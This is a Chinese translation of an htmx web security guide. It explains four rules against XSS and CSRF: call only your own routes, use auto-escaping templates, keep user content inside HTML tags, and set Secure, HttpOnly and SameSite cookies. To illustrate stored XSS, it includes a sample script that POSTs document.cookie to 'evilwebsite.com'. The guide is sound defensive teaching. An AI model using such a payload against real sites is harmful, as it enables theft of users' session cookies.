網頁安全基礎知識(使用 htmx)

Alexander Petros

隨著 htmx 越來越受歡迎,它接觸到了以前從未編寫過伺服器產生 HTML 的社群。動態 HTML 模板是(現在仍然是)許多流行的 Web 框架(如 Rails、Django 和 Spring)的標準使用方式,但對於來自單頁應用程式(SPA)框架(如 React 和 Svelte)的人來說,這是一個新的概念,在這些框架中,JSX 的普及意味著您永遠不會直接編寫 HTML。

但別害怕!使用 HTML 模板編寫 Web 應用程式是一種略有不同的安全模型,但它不比保護基於 JSX 的應用程式困難,而且在某些方面更容易。

#本指南適用於誰?

這些是使用 htmx 的 Web 安全基礎知識,但它們(大多數)不是 htmx 特有的 — 如果您要在網路上放置任何動態的、使用者產生的內容,這些概念都很重要。

對於本指南,您應該已經對 Web 的語義有基本的理解,並且熟悉如何編寫後端伺服器(使用任何語言)。例如,您應該知道不要建立可以更改後端狀態的 GET 路由。我們也假設您沒有做任何超級複雜的事情,例如建立一個託管其他人網站的網站。如果您正在做任何類似的事情,您需要注意的安全概念遠遠超出本指南的範圍。

我們做出這些簡化假設是為了針對盡可能廣泛的受眾,而不包含分散注意力的資訊 — 顯然這無法涵蓋所有人。沒有任何安全指南是完美全面的。如果您覺得有錯誤,或是有明顯的陷阱我們應該提到,請聯繫我們,我們會更新它。

#黃金法則

遵循這四個簡單的規則,您將遵循客戶端安全最佳實務

  1. 僅呼叫您控制的路由
  2. 始終使用自動跳脫模板引擎
  3. 僅在 HTML 標籤內提供使用者產生的內容
  4. 如果您有身份驗證 Cookie,請使用 SecureHttpOnlySameSite=Lax 設定它們

在以下章節中,我將討論每個規則的作用,以及它們防止哪些類型的攻擊。絕大多數 htmx 使用者 — 使用 htmx 建立網站,允許使用者登入、查看某些資料並更新該資料的使用者 — 應該永遠沒有任何理由違反這些規則。

稍後我將討論如何違反其中一些規則。許多有用的應用程式可以在這些約束下構建,但如果您確實需要更進階的行為,您將在完全了解自己正在增加保護應用程式的概念負擔的情況下這樣做。而且您將在這個過程中學到很多關於 Web 安全的知識。

#理解規則

#僅呼叫您控制的路由

這是最基本也是最重要的:不要使用 htmx 呼叫不信任的路由。

在實務上,這表示您應該僅使用相對 URL。這樣是可以的

<button hx-get="/events">Search events</button>

但這樣是不行的

<button hx-get="https://google.com/search?q=events">Search events</button>

這樣做的原因很簡單:htmx 將該路由的回應直接插入使用者的頁面。如果回應中有惡意的 <script>,該腳本可能會竊取使用者的資料。當您不控制路由時,您無法保證控制路由的人不會添加惡意腳本。

幸運的是,這是一個非常容易遵循的規則。超媒體 API(即 HTML)特定於您應用程式的佈局,因此幾乎沒有任何理由您會想要將其他人的 HTML 插入您的頁面。您所要做的就是確保您僅呼叫自己的路由(htmx 2 實際上預設會停用呼叫其他網域)。

雖然現在不太流行,但常見的 SPA 模式是將前端和後端分成不同的儲存庫,有時甚至從不同的 URL 提供它們。這將需要在前端使用絕對 URL,並且經常需要停用 CORS。使用 htmx(以及公平地說,使用 NextJS 的現代 React),這是一種反模式。

相反,您只需從與後端相同的伺服器(或至少相同的網域)提供您的 HTML 前端,其他一切都會就緒:您可以使用相對 URL,您永遠不會遇到 CORS 問題,並且您永遠不會呼叫其他人的後端。

htmx 執行 HTML;HTML 是程式碼;永遠不要執行不信任的程式碼。

#始終使用自動跳脫模板引擎

當您將 HTML 發送給使用者時,所有動態內容都必須跳脫。使用模板引擎建構您的回應,並確保啟用自動跳脫。

幸運的是,所有模板引擎都支援跳脫 HTML,而且大多數預設都會啟用它。以下是一些範例。

語言模板引擎預設跳脫 HTML 嗎?
JavaScriptNunjucks
JavaScriptEJS是,使用 <%= %>
PythonDTL
PythonJinja有時(在 Flask 中是)
RubyERB是,使用 <%= %>
PHPBlade
Gohtml/template
JavaThymeleaf
RustTera

這種漏洞通常稱為跨網站指令碼(XSS)攻擊,這個術語廣泛用於表示將任何意外的內容注入您的網頁。通常,攻擊者會使用您的 API 將惡意程式碼儲存在您的資料庫中,然後您會將這些程式碼提供給要求該資訊的其他使用者。

例如,假設您正在建立一個約會網站,它讓使用者分享一些關於自己的簡短個人簡介。您會像這樣呈現該個人簡介,其中 {{ user.bio }} 是儲存在資料庫中的個人簡介

<p>
{{ user.bio }}
</p>

如果惡意使用者編寫了一個包含腳本元素的個人簡介(例如,將客戶端的 Cookie 發送到另一個網站的腳本),則此 HTML 將被發送到每個查看該個人簡介的使用者

<p>
<script>
  fetch('evilwebsite.com', { method: 'POST', body: document.cookie })
</script>
</p>

幸運的是,這個問題很容易解決,您可以自己編寫程式碼。每當您插入不信任的(即使用者提供的)資料時,您只需將八個字元替換為它們的非程式碼對應字元。這是一個使用 JavaScript 的範例

/**
 * Replace any characters that could be used to inject a malicious script in an HTML context.
 */
export function escapeHtmlText (value) {
  const stringValue = value.toString()
  const entityMap = {
    '&': '&amp;',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": '&#x27;',
    '/': '&#x2F;',
    '`': '&grave;',
    '=': '&#x3D;'
  }

  // Match any of the characters inside /[ ... ]/
  const regex = /[&<>"'`=/]/g
  return stringValue.replace(regex, match => entityMap[match])
}

這個小小的 JS 函式會將 < 替換為 &lt;,將 " 替換為 &quot;,依此類推。這些字元在文字中使用時仍會正確呈現為 <",但不能被解釋為程式碼結構。之前的惡意個人簡介現在將被轉換為以下 HTML

<p>
&lt;script&gt;
  fetch(&#x27;evilwebsite.com&#x27;, { method: &#x27;POST&#x27;, data: document.cookie })
&lt;/script&gt;
</p>

將會無害地顯示為文字。

幸運的是,如上所述,您不必手動進行跳脫 — 我只是想展示這些概念有多簡單。每個模板引擎都有自動跳脫功能,而且您無論如何都會想要使用模板引擎。只需確保啟用跳脫,並將所有 HTML 通過它發送即可。

#僅在 HTML 標籤內提供使用者產生的內容

這是對模板引擎規則的補充,但它本身很重要,需要單獨說明。即使使用您的自動跳脫模板引擎,也不要讓您的使用者定義任意 CSS 或 JS 內容。

<!-- Don't include inside script tags -->
<script>
  const userName = {{ user.name }}
</script>

<!-- Don't include inside CSS tags -->
<style>
  h1 { color: {{ user.favorite_color }} }
</style>

也不要使用使用者定義的屬性或標籤名稱

<!-- Don't allow user-defined tag names -->
<{{ user.tag }}></{{ user.tag }}>

<!-- Don't allow user-defined attributes -->
<a {{ user.attribute }}></a>

<!-- User-defined attribute VALUES are sometimes okay, it depends -->
<a class="{{ user.class }}"></a>

<!-- Escaped content is always safe inside HTML tags (this is fine) -->
<a>{{ user.name }}</a>

CSS、JavaScript 和 HTML 屬性是「危險的上下文」,在這些地方允許任意使用者輸入是不安全的,即使它們被跳脫。跳脫會保護您免受這裡的一些漏洞攻擊,但不是全部;這些漏洞足夠多樣化,因此最安全的做法是預設不執行任何這些操作。

直接將使用者產生的文字插入腳本標籤中絕對沒有必要,但是有些情況下您可能會讓使用者自訂他們的 CSS 或自訂 HTML 屬性。稍後將討論如何正確處理這些問題。

#保護您的 Cookie

使用 htmx 進行身份驗證的最佳方式是使用 Cookie。而且,由於 htmx 主要透過第一方 HTML API 鼓勵互動,因此啟用瀏覽器最佳的 Cookie 安全功能通常非常簡單。特別是這三個

為了瞭解這些保護您免受什麼攻擊,讓我們回顧一下基礎知識。如果您來自 JavaScript SPA,其中通常使用 Authorization 標頭進行身份驗證,您可能不熟悉 Cookie 的工作原理。幸運的是,它們非常簡單。(請注意:這不是「使用 htmx 進行身份驗證」的教學課程,而只是對 Cookie 令牌的一般概述)

如果您的使用者使用 <form> 登入,他們的瀏覽器會向您的伺服器發送 HTTP 請求,並且您的伺服器會發回類似這樣的回應

HTTP/2.0 200 OK
Content-Type: text/html
Set-Cookie: token=asd8234nsdfp982

[HTML content]

該令牌對應於使用者目前的登入會話。從現在開始,每次使用者向 yourdomain.com 的任何路由發出請求時,瀏覽器都會在 HTTP 請求中包含來自 Set-Cookie 的該 Cookie。

GET /users HTTP/1.1
Host: yourdomain.com
Cookie: token=asd8234nsdfp982

每次有人向您的伺服器發出請求時,它都需要解析出該令牌並確定它是否有效。很簡單。

您也可以在該 Cookie 上設定選項,例如我上面建議的那些選項。如何執行此操作因程式設計語言而異,但結果始終是類似這樣的 HTTP 回應

HTTP/2.0 200 OK
Content-Type: text/html
Set-Cookie: token=asd8234nsdfp982; Secure; HttpOnly; SameSite=Lax

[HTML content]

那麼這些選項有什麼作用呢?

第一個選項 Secure 確保瀏覽器不會透過不安全的 HTTP 連線發送 Cookie,而只會透過安全的 HTTPS 連線發送。敏感資訊(例如使用者的登入令牌)永遠不應透過不安全的連線發送。

第二個選項 HttpOnly 表示瀏覽器永遠不會將 Cookie 暴露給 JavaScript (也就是說,它不會出現在 document.cookie 中)。即使有人能夠插入惡意腳本,就像上面的 evilwebsite.com 範例一樣,該惡意腳本也無法存取使用者的 Cookie 或將其傳送到 evilwebsite.com。瀏覽器只會在請求傳送到 Cookie 來源網站時附加 Cookie。

最後,SameSite=Lax 鎖定了一種跨網站請求偽造 (CSRF) 攻擊的途徑,攻擊者會試圖讓用戶端的瀏覽器向 yourdomain.com 伺服器發出惡意請求,例如 POST 請求。SameSite=Lax 設定會告知瀏覽器,如果發出請求的網站不是 yourdomain.com,則不要傳送 yourdomain.com 的 Cookie,除非是直接導向您頁面的 <a> 連結。這現在*幾乎是*瀏覽器的預設行為,但仍然直接設定它是很重要的。

在 2024 年,SameSite=Lax 通常足夠抵禦 CSRF,但對於更敏感或複雜的情況,您也可以考慮其他緩解措施

重要注意事項: SameSite=Lax 僅在網域層級保護您,而非子網域層級(即 yourdomain.com,而非 yoursite.github.io)。如果您正在進行使用者登入,您應該始終在生產環境中使用您自己的網域進行。有時,公共後綴列表會保護您,但不應該依賴它。

#打破規則

我們從最簡單、最安全的做法開始,這樣錯誤會導致 UX 損壞,這是可以修復的,而不是被盜的數據,這是無法修復的。

有些 Web 應用程式需要更複雜的功能和更多的使用者自訂,它們也需要更複雜的安全機制。只有當您確信絕對必要,且所需功能無法透過其他方式實作時,才應打破這些規則。

#呼叫不受信任的 API

呼叫不受信任的 HTML API 是瘋狂的行為。永遠不要這樣做。

在某些情況下,您可能想要從用戶端呼叫其他人的 JSON API,這是沒問題的,因為 JSON 無法執行任意腳本。在這種情況下,您可能需要對該資料做一些處理,將其轉換為 HTML。不要使用 htmx 來執行此操作,而是使用 fetchJSON.parse();如果不受信任的 API 耍花招並傳回 HTML 而不是 JSON,JSON.parse() 只會無害地失敗。

請記住,您解析的 JSON 可能具有一個*屬性*,該屬性格式化為 HTML。

{ "name": "<script>alert('Hahaha I am a script')</script>" }

因此,也不要將 JSON 值作為 HTML 插入,如果您要執行類似的操作,請使用 textContent。不過,這已經超出了 htmx 控制的 UI 範圍。

htmx 的 2.0 版本將包含一個 textContent 交換,如果您想直接從用戶端呼叫其他人的 API 並將該文字放入頁面。

#自訂 HTML 控制項

與呼叫不受信任的 HTML 路由不同,有很多充分的理由讓使用者執行動態 HTML 格式化的內容。

如果說,您想讓使用者連結到圖片呢?

<img src="{{ user.fav_img }}">

或連結到他們的個人網站?

<a href="{{ user.fav_link }}">

預設的「轉義所有內容」方法會轉義正斜線,因此會破壞使用者提交的 URL。

您可以用幾種方法來修正這個問題。最簡單、最安全的技巧是讓使用者自訂這些值,但不讓他們定義文字本身。在圖片範例中,您可能會將圖片上傳到您自己的伺服器 (或 S3 儲存桶之類的),自己產生連結,然後將其包含在內,不進行轉義。在 nunjucks 中,您可以使用 safe 函式。

<img src="{{ user.fav_img_s3_url | safe }}">

是的,您包含未轉義的內容,但它是一個您產生的連結,因此您知道它是安全的。

您可以用相同的方式處理自訂 CSS。不要讓您的使用者直接指定顏色,而是給他們一些有限的選擇,並根據他們的輸入設定這些選擇。

{% if user.favorite_color === 'red' %}
h1 { color: 'red'; }
{% else %}
h1 { color: 'blue'; }
{% endif %}

在該範例中,使用者可以將 favorite_color 設定為任何他們喜歡的顏色,但它永遠不會是紅色或藍色以外的顏色。一個不太平凡的範例可能會使用正規表示式來確保只能輸入格式正確的十六進位碼。您明白了。

根據您支援的自訂類型,保護它可能相對容易,也可能相當困難。有些屬性是「安全接收器」,這表示它們的值永遠不會被解釋為程式碼;這些屬性很容易保護。如果您要將動態輸入包含在「危險的環境」中,您需要研究這些環境的*哪些*部分是危險的,並確保該類型的輸入不會進入文件中。

例如,如果您想讓使用者連結到任意網站或圖片,這會複雜得多。首先,請務必將屬性放在引號內 (大多數人都是這樣做的)。然後,您需要執行類似於編寫自訂轉義函式之類的操作,該函式會轉義所有內容,*但*正斜線 (和可能的 & 符號) 除外,這樣連結才能正常運作。

但即使您正確地執行了此操作,您也會引入一些新的安全性挑戰。該圖片連結可以用於追蹤您的使用者,因為您的使用者會直接從其他人的伺服器請求它。也許您對此沒有意見,也許您會包含其他緩解措施。重要的是,您要知道引入這種程度的自訂會帶來更困難的安全性模型,如果您沒有頻寬來研究和測試它,就不應該這樣做。

JavaScript SPA 有時會透過將權杖儲存在用戶端的本機儲存空間中,然後將其新增至每個請求的 Authorization 標頭來進行驗證。遺憾的是,沒有辦法在不使用 JavaScript 的情況下設定 Authorization 標頭,這不太安全;如果您的受信任 JavaScript 可以使用它,如果攻擊者設法將惡意腳本放入您的頁面,他們也可以使用它。而是使用 Cookie (帶有上述屬性),可以設定和保護它,而完全不需要接觸 JavaScript。

為什麼會有 Authorization 標頭,但沒有辦法使用超媒體控制項設定它?嗯,這只是 WHATWG 的一個離譜的遺漏小謎團。

如果您正在使用您不控制的 API 來驗證使用者的用戶端,您可能需要使用 Authorization 標頭,在這種情況下,適用於您不控制的路由的常規預防措施也適用。

#額外內容:內容安全策略

您也應該了解內容安全策略 (CSP),它使用 HTTP 標頭來設定關於您的頁面允許執行的內容類型的規則。例如,您可以限制頁面僅載入您網域的圖片,或者停用內嵌腳本。

這不是黃金法則之一,因為它不像其他規則一樣容易普遍適用。沒有「一刀切」的 CSP。有些 htmx 應用程式會使用內嵌腳本,hx-on 屬性是一個廣義的屬性監聽器,可以評估任意腳本 (雖然如果您不需要,可以停用它)。有時,內嵌腳本適用於在充分保護 XSS 的應用程式上保留行為的局部性,有時內嵌腳本不是必要的,您可以採用更嚴格的 CSP。這一切都取決於您應用程式的安全設定,您有責任了解您可用的選項,並能夠執行該分析。

#這是一種倒退嗎?

您可能會合理地想知道:如果我在建置 SPA 時不需要知道這些事情,那麼 htmx 在安全性方面是否是一種倒退?我們會質疑該陳述的兩個部分。

本文並非旨在捍衛 htmx 的安全性特性,但在許多方面,超媒體應用程式在預設情況下比基於 JSON 的前端安全得多。HTML API 只會傳回應該呈現的資訊,在 JSON 回應中「隱藏」和洩漏給使用者的意外資料要容易得多。超媒體 API 也不利於在用戶端實作通用查詢語言 (如 GraphQL),這需要*大規模*更複雜的安全性模型。各種缺陷都隱藏在您應用程式的複雜性中;一般而言,超媒體應用程式的複雜性較低,因此更容易保護。

如果您要將動態內容放在網路上,您也需要了解 XSS 攻擊。不了解 XSS 如何運作的開發人員不會了解使用 React 的 dangerouslySetInnerHTML 有什麼危險,而且他們會在第一次需要呈現豐富的使用者產生文字時直接設定它。程式庫有責任盡可能讓這些安全性基本知識易於找到;開發人員有責任學習並遵循這些基本知識,這一點從未改變。

本文旨在使保護您的 htmx 應用程式成為「成功之坑」 — 遵循這些簡單的規則,您幾乎不可能編碼出 XSS 漏洞。但不可能編寫一個在拒絕學習關於安全性的任何知識的開發人員手中仍然安全的程式庫,因為安全性是關於控制對資訊的存取,而人類的工作將永遠是向電腦明確解釋誰可以存取哪些資訊。

撰寫安全的網頁應用程式是件困難的事。在路由、資料庫存取、HTML 樣板、商業邏輯等各方面都有許多容易踩到的陷阱。然而,如果安全僅限於安全專家的領域,那麼只有安全專家才能製作網頁應用程式。也許情況應該是這樣!但如果只有安全專家在製作網頁應用程式,他們肯定知道如何正確使用樣板引擎,因此 htmx 對他們來說不會有任何問題。

對於其他人來說

  1. 不要呼叫不信任的路由
  2. 使用自動跳脫的樣板引擎
  3. 只將使用者產生的內容放置在 HTML 標籤內
  4. 保護你的 cookies
</>